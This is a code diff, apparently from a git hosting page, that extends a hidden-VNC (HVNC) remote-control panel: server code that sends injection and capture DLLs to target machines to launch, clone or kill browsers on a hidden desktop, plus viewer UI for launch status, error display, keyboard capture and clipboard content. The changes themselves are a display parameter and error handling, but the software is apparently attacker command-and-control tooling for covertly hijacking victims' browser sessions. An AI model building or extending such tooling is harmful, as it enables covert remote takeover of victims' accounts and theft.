if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil {
|
||||||
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|||||||
@@ -400,7 +400,15 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
const step = msg.step || "";
|
const step = msg.step || "";
|
||||||
const detail = msg.detail || "";
|
const detail = msg.detail || "";
|
||||||
|
|
||||||
if (!msg.success) {
|
if (step === "crashed" || step === "exited") {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-skull-crossbones text-rose-400";
|
||||||
|
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-rose-300";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.classList.add("hidden");
|
||||||
|
launchStatusEl.classList.remove("flex");
|
||||||
|
}, 20000);
|
||||||
|
} else if (!msg.success) {
|
||||||
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
||||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||||
launchStatusLabel.className = "text-rose-300";
|
launchStatusLabel.className = "text-rose-300";
|
||||||
@@ -416,6 +424,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
launchStatusEl.classList.add("hidden");
|
launchStatusEl.classList.add("hidden");
|
||||||
launchStatusEl.classList.remove("flex");
|
launchStatusEl.classList.remove("flex");
|
||||||
}, 8000);
|
}, 8000);
|
||||||
|
} else if (step === "kill") {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-hand text-amber-400";
|
||||||
|
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||||
|
launchStatusLabel.className = "text-amber-300";
|
||||||
} else {
|
} else {
|
||||||
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
||||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||||
@@ -423,6 +435,35 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function handleHVNCError(msg) {
|
||||||
|
const errorText = msg.error || msg.message || "Unknown HVNC error";
|
||||||
|
console.error("hvnc: server error:", errorText);
|
||||||
|
if (!launchStatusEl) return;
|
||||||
|
if (launchHideTimer) {
|
||||||
|
clearTimeout(launchHideTimer);
|
||||||
|
launchHideTimer = null;
|
||||||
|
}
|
||||||
|
launchStatusEl.classList.remove("hidden");
|
||||||
|
launchStatusEl.classList.add("flex");
|
||||||
|
if (msg.critical) {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-triangle-exclamation text-red-500 text-lg animate-pulse";
|
||||||
|
launchStatusLabel.textContent = errorText;
|
||||||
|
launchStatusLabel.className = "text-red-400 font-bold";
|
||||||
|
launchStatusEl.className = "flex items-center gap-2 bg-red-950/80 border-2 border-red-500 rounded-lg px-4 py-3 text-sm shadow-lg shadow-red-500/20";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.className = "hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm";
|
||||||
|
}, 30000);
|
||||||
|
} else {
|
||||||
|
launchStatusIcon.className = "fa-solid fa-circle-exclamation text-rose-400";
|
||||||
|
launchStatusLabel.textContent = errorText;
|
||||||
|
launchStatusLabel.className = "text-rose-300";
|
||||||
|
launchHideTimer = setTimeout(() => {
|
||||||
|
launchStatusEl.classList.add("hidden");
|
||||||
|
launchStatusEl.classList.remove("flex");
|
||||||
|
}, 15000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function handleBrowserCheckResult(msg) {
|
function handleBrowserCheckResult(msg) {
|
||||||
if (!msg.browsers || !contextMenu) return;
|
if (!msg.browsers || !contextMenu) return;
|
||||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||||
@@ -929,7 +970,7 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (msg && msg.type === "hvnc_error") {
|
if (msg && msg.type === "hvnc_error") {
|
||||||
console.error("hvnc: server error:", msg.error || msg.message);
|
handleHVNCError(msg);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (msg && msg.type === "clipboard_content") {
|
if (msg && msg.type === "clipboard_content") {
|
||||||
|
|||||||
@@ -1098,6 +1098,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
kill_exe: String(payload.kill_exe || ""),
|
kill_exe: String(payload.kill_exe || ""),
|
||||||
opera_patch: Boolean(payload.opera_patch),
|
opera_patch: Boolean(payload.opera_patch),
|
||||||
|
display: state.display ?? 0,
|
||||||
});
|
});
|
||||||
break;
|
break;
|
||||||
case "hvnc_kill_all":
|
case "hvnc_kill_all":
|
||||||
@@ -1107,7 +1108,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
const captureDll = getCaptureDllBytes();
|
const captureDll = getCaptureDllBytes();
|
||||||
@@ -1116,6 +1117,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
search_path: String(payload.search_path || ""),
|
search_path: String(payload.search_path || ""),
|
||||||
replace_path: String(payload.replace_path || ""),
|
replace_path: String(payload.replace_path || ""),
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
|
display: state.display ?? 0,
|
||||||
};
|
};
|
||||||
if (captureDll) cmdPayload.capture_dll = captureDll;
|
if (captureDll) cmdPayload.capture_dll = captureDll;
|
||||||
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
sendHVNCCommand(target, "hvnc_start_process_injected", cmdPayload);
|
||||||
@@ -1125,13 +1127,14 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
const captureDllChrome = getCaptureDllBytes();
|
const captureDllChrome = getCaptureDllBytes();
|
||||||
const chromeCmdPayload: Record<string, any> = {
|
const chromeCmdPayload: Record<string, any> = {
|
||||||
path: String(payload.path || ""),
|
path: String(payload.path || ""),
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
|
display: state.display ?? 0,
|
||||||
};
|
};
|
||||||
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome;
|
||||||
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
sendHVNCCommand(target, "hvnc_start_chrome_injected", chromeCmdPayload);
|
||||||
@@ -1141,7 +1144,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
const dllData = getInjectionDllBytes();
|
const dllData = getInjectionDllBytes();
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||||
safeSendViewer(ws, { type: "hvnc_error", error: "Injection DLL not found on server" });
|
safeSendViewer(ws, { type: "hvnc_error", error: "HVNC injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
const captureDllBrowser = getCaptureDllBytes();
|
const captureDllBrowser = getCaptureDllBytes();
|
||||||
@@ -1152,6 +1155,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
cloneLite: payload.cloneLite === true,
|
cloneLite: payload.cloneLite === true,
|
||||||
killIfRunning: payload.killIfRunning === true,
|
killIfRunning: payload.killIfRunning === true,
|
||||||
dll: dllData,
|
dll: dllData,
|
||||||
|
display: state.display ?? 0,
|
||||||
};
|
};
|
||||||
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser;
|
||||||
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
sendHVNCCommand(target, "hvnc_start_browser_injected", browserCmdPayload);
|
||||||
|
|||||||
Reference in New Issue
Block a user